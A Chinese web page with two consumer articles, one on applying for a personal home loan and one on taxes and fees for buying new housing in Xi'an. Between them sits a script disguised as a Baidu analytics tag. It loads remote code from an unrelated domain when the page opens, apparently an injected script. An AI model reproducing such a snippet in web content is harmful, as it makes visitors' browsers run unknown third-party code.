如购买房子个人贷款应该如何办理

对于现在的人来说能买套房子真的很不容易，尤其是北上广等一线城市，可能有些人打拼一辈子也不够一套房子钱，对于一般普通家庭来说，买房子基本都是贷款的，即付个首付款，以后慢慢还银行贷款，那么有人就想问了，买房子个人贷款应该怎么办理呢？下面就这一问题做下简要的回答。首先买房子个人贷款分为两种方式，一种是商业贷款，一种是公积金贷款。商业贷款就是直接从各个银行贷款，银行主要看你的银行流水和个人信用度，这个银行流水地域不同和银行不同可能存在个别差异，一般来说都是至少半年的银行流水。至于信用度，这是个特别重要的问题，可以去中国人民银行根据身份证号查询，一旦查出不良信用记录，将直接影响贷款结果。公积金贷款一般都是有单位的人使用的，当然现在个别地区也允许个人缴纳公积金，公积金贷款的优势就是利率要比银行低。买房子个人贷款具体选择哪种方式要根据自己的实际情况，选择最佳的方案。其次买房子个人贷款要看是以家庭为单位还是以个人为单位，简单来说就是你是否是单身，如果是单身要提供单身证明；如果是已婚状态，配偶做为共同还款人也要进行信用度查询。还有一种情况是贷款人名下是否有未还清的贷款，这个也会影响贷款额度。最后买房子个人贷款要递送很多材料，打算贷款的个人可以前去当地公积金管理中心或者银行进行详细的咨询，具体情况以当地为准，贷款前把各种材料原件复印件准备妥当，以免办理时耽误时间以上这些就是关于买房子个人贷款如何办理的简要回答，希望对有意向贷款买房的朋友有所帮助。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

西安买新房子要交哪些税？个人买卖房的税收情况如何

对于中国人来说，房子是意味着家，年轻人在结婚时一般都会买房，不论大小，感觉有个窝就是幸福的。一般一个新楼盘开盘时的价格是比较低一点的，因此也有很多人选择购买这样的新房。西安时一个发展很快的城市，有很多的年轻人也在此安家。今天小编就给大家介绍下在西安买新房子要交哪些税?我们个人买卖房的税收情况如何?西安买新房子要交哪些税?1、契税：住宅类房屋标准按房款总价的3%或1.5%或1%交纳,每套交纳具体的比例需根据国家相关政策,购房者的购房时间、购房单价、购房面积、是否第1次购房等因素来确定;非住宅类房屋按房款总价的3%交纳。2、专项维修资金：有电梯类房屋标准按建筑面积(平方米)×27.5(元/平方米)计算结果交纳;非电梯类房屋标准按建筑面积(平方米)×22(元/平方米)计算结果交纳。3、合同印花税：按房款总价的0.05%交纳(住宅免收)。4、证照印花税：按5元/户交纳。5、产权登记费：住宅类房屋按80元/户交纳;非住宅类房屋按550元/户交纳;共有人证书费按10元/人交纳。6、交易手续费：非住宅类房屋按房款×0.35%计算结果交纳。7、国土证办证费：按相关规定交纳。8、其他费用：天然气初装费(但是听说好像这个费用不让收了，但好多开发商都在收一般在两千多点)，房屋产证登记费(按正常是80元)，交易服务费(每平米6元)，物业费(有些开发商会在收房时让预交一段时间的物业费用)，装修押金(有些开发商不管你收房后装修不装修都会收取2000-3000元不等的装修押金，一般会在你装修完成物业验收后两个到三个月退还)个人买卖房的税收1、对个人购买家庭唯一住房，面积为90平方米及以下的，按1%的税率征收契税;面积为90平方米以上的，按1.5%的税率征收契税。2、对个人购买家庭第二套住房，面积为90平方米及以下的，按1%的税率征收契税;面积为90平方米以上的，按2%的税率征收契税。3、对个人将购买不足2年的住房对外销售的，按照5%的征收率全额缴纳增值税;个人将购买2年以上(含2年)的住房对外销售的，免征增值税。对于普通人来说，买房时一件大事，因此各方面的费用情况要自己了解清楚，一般买二手房和新房的税收情况是有一些不同的。买新房时一般缴纳的税费就是国家规定的哪些税种，可能根据各地的情况不同，税率也不同。买二手房时，因为之前房主已经缴纳一部分税，我们只需看清国家新规定的两种税(维修基金和交易手续费)是否交情，如果没有，则需要买卖双方协商解决。